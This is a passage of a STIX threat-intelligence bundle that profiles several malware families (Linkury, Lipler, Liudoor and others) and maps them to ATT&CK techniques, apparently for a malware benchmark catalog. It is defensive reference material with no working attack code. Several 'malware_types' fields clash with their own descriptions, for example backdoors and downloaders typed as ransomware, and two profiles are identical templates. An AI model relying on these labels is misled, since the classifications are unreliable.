      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Linkhortry",
        "Downloader.Linkhortry",
        "Win32/Linkhortry"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Linkhortry",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/linkhortry"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f707531-bad3-5e45-ba44-a84b0195b46f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c99ad7e-8ffe-5447-aa88-830a8c58bb6c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkhortry exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--464ab512-0ea3-5c0d-8726-08b25d72297a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c99ad7e-8ffe-5447-aa88-830a8c58bb6c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkhortry exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c600a59e-ac6a-5200-850f-eeec959b56e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c99ad7e-8ffe-5447-aa88-830a8c58bb6c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkhortry exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bc42b7b6-24c6-508a-a8cd-6092033e806b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Linkular",
      "description": "Adware:Win32/Linkular is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Linkular</b><br>To an end-user, Linkular manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Linkular is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Linkular",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/linkular"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bc8d580-749a-503a-b0c7-c731d0cd00c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc42b7b6-24c6-508a-a8cd-6092033e806b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkular exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03fa4a95-1899-5296-9d43-4f9a6115faa3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc42b7b6-24c6-508a-a8cd-6092033e806b",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkular exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45dd7a1c-3360-50eb-8d0d-cd973a98132e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc42b7b6-24c6-508a-a8cd-6092033e806b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkular exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53a6d2e1-ce0a-5308-b215-fc9e830d827d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc42b7b6-24c6-508a-a8cd-6092033e806b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkular exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba534f86-d10f-5d23-abba-c7629b707c23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Linkury",
      "description": "Linkury (cataloged by enterprise security teams as Adware:Win32/Linkury, BrowserModifier:Win32/Linkury, and PUP.Optional.Linkury) is a notorious browser hijacker and adware framework analyzed by Microsoft Defender and Malwarebytes. Developed under the SmartBar umbrella, Linkury distributes through bundled software packages, freeware installers, and deceptive online media converter sites. Upon execution, Linkury hooks into major web browsers including Google Chrome, Mozilla Firefox, and Microsoft Edge by modifying browser shortcut target arguments with query parameter redirects, registering unauthorized browser extensions, and altering default search engine preferences to point to affiliate monetization portals. It additionally modifies Windows Registry keys governing browser homepages and installs Browser Helper Objects (BHOs) in Internet Explorer environments. When users perform search queries or browse the web, Linkury intercepts the sessions, injects sponsored pay-per-click links into organic search results, and displays persistent pop-up promotional banners. It establishes persistence via HKCU Run registry entries and automated scheduled maintenance tasks. (Observed samples in benchmark: 1,194)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Linkury",
        "BrowserModifier:Win32/Linkury",
        "PUA:Win32/Linkury",
        "PUP.Optional.Linkury",
        "Adware.SmartBar",
        "Linkury.SmartBar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Linkury",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/linkury"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ae9bf18-4dc3-57c1-90b2-82f08c8b9910",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba534f86-d10f-5d23-abba-c7629b707c23",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkury exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98207c27-5f73-56d8-99ea-549259f7d718",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba534f86-d10f-5d23-abba-c7629b707c23",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkury exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66847393-bd15-5023-a4d0-2e48d22e74bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba534f86-d10f-5d23-abba-c7629b707c23",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkury exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b522f67a-4460-5338-9f26-0a35f707b509",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba534f86-d10f-5d23-abba-c7629b707c23",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkury exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abb28af2-ed13-59e2-86cb-caa4974db8db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba534f86-d10f-5d23-abba-c7629b707c23",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkury exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86598913-1a63-5f52-ac58-e932ace7c712",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba534f86-d10f-5d23-abba-c7629b707c23",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkury exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ec44f5b-329d-52d3-a43f-82daee97d7b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba534f86-d10f-5d23-abba-c7629b707c23",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Linkury exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--59a63534-28e5-56c3-94e8-68d12ca95e2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lipler",
      "description": "Trojan:Win32/Lipler is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lipler</b><br>To an end-user, a Lipler infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lipler is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lipler is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lipler frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lipler reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lipler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lipler"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--499f2f72-42ce-5b29-8611-44db89694a26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59a63534-28e5-56c3-94e8-68d12ca95e2c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lipler exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5342fd0-dd62-5d68-bc45-9a51bb102da2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59a63534-28e5-56c3-94e8-68d12ca95e2c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lipler exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7d2755e-fb99-51c1-8f6b-d1e64ee4e888",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59a63534-28e5-56c3-94e8-68d12ca95e2c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lipler exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b553ea1a-a832-534d-87cd-e2b0095c995a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59a63534-28e5-56c3-94e8-68d12ca95e2c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lipler exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db32a47e-8f2e-5235-a313-f7c88e243f6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59a63534-28e5-56c3-94e8-68d12ca95e2c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lipler exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ef2a568-27a8-5302-ac42-7450274643d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Listicka",
      "description": "Trojan:Win32/Listicka is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Listicka</b><br>To an end-user, a Listicka infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Listicka is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Listicka is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Listicka frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Listicka reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Listicka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/listicka"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0722d8a8-e7b4-5aba-8c90-b195abf05265",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef2a568-27a8-5302-ac42-7450274643d1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Listicka exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecb50a7d-c28e-563b-badb-d591144a8c80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef2a568-27a8-5302-ac42-7450274643d1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Listicka exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--664de756-404b-5cb9-98db-135f6b5787f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef2a568-27a8-5302-ac42-7450274643d1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Listicka exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f308ae73-7d0d-5fc1-9ddc-eb8f1e0f9c22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef2a568-27a8-5302-ac42-7450274643d1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Listicka exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c59e1a0f-f8df-5851-bd3e-cf24a8b527b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ef2a568-27a8-5302-ac42-7450274643d1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Listicka exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0f9278b9-70d6-575d-b6a3-bdd5b44fb165",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Litmus",
      "description": "<h3>Executive Summary</h3>\nLitmus is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLitmus is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Litmus operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Litmus ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Litmus receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Litmus infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Litmus executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Litmus frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Litmus",
        "Downloader.Litmus",
        "Win32/Litmus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Litmus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/litmus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25427f8e-96ee-5b41-88e1-109f089cb7d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f9278b9-70d6-575d-b6a3-bdd5b44fb165",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Litmus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0326ea8-f61b-5317-aef8-18b21c356e53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f9278b9-70d6-575d-b6a3-bdd5b44fb165",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Litmus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87eda24b-3006-5020-a871-0d196bd6dc46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f9278b9-70d6-575d-b6a3-bdd5b44fb165",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Litmus exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9fe5dda0-9b06-5e01-8627-6aac7cc6f662",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Liudoor",
      "description": "<h3>Executive Summary</h3>\nLiudoor is a malicious Backdoor Trojan designed to covertly infiltrate Windows systems, establish stealthy persistence, and provide a remote attacker with unfettered, unauthorized access to the compromised machine. Unlike simple downloaders, a backdoor allows the threat actor to directly interact with the system, execute arbitrary commands, and manually exfiltrate sensitive data.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLiudoor is typically distributed through targeted spear-phishing campaigns containing malicious attachments (often macro-enabled Office documents or weaponized PDFs) or by exploiting unpatched vulnerabilities in public-facing web servers or RDP (Remote Desktop Protocol) endpoints.\n\nOnce executed, Liudoor focuses on establishing a secure, persistent connection to the attacker:\n<ul>\n<li><strong>Command and Control (C2) Communication:</strong> The backdoor establishes a connection to a remote C2 server, often over encrypted channels (HTTPS) or via custom protocols on non-standard ports to evade Intrusion Detection Systems (IDS). It actively \"listens\" for incoming commands.</li>\n<li><strong>Remote Code Execution (RCE):</strong> The core functionality of Liudoor is to provide a remote shell. The attacker can execute arbitrary system commands (`cmd.exe` or PowerShell), upload or download files, and manipulate the Windows Registry at will.</li>\n<li><strong>Lateral Movement Facilitation:</strong> Because the attacker has interactive control, Liudoor is frequently used as a \"beachhead.\" The attacker will use the compromised host to scan the internal network, dump local credentials (using tools like Mimikatz), and pivot to more valuable servers or Domain Controllers.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Liudoor infection is a critical security incident. The presence of an active backdoor means the network perimeter has completely failed, and a human adversary currently has interactive access to the internal network. Data exfiltration or the deployment of enterprise-wide ransomware is often imminent.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> The highest priority is to physically disconnect the infected machine from the network to sever the attacker's interactive connection and prevent further lateral movement. Do not power off the machine, as volatile memory (RAM) is required for forensic analysis.</li>\n<li><strong>Forensic Triage:</strong> Utilize Endpoint Detection and Response (EDR) or memory forensics to identify the specific processes associated with Liudoor, analyze its network connections to identify the C2 infrastructure, and determine if local administrator credentials have been dumped.</li>\n<li><strong>Enterprise Password Reset and Re-imaging:</strong> Because the attacker had interactive access, all credentials used on or accessible from the compromised endpoint must be reset immediately. The endpoint itself must undergo a complete bare-metal wipe and re-image from a trusted baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Liudoor",
        "Trojan.Liudoor",
        "Win32/Liudoor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Liudoor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/liudoor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c001b6c-013a-559e-b6ef-4fc68643abfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
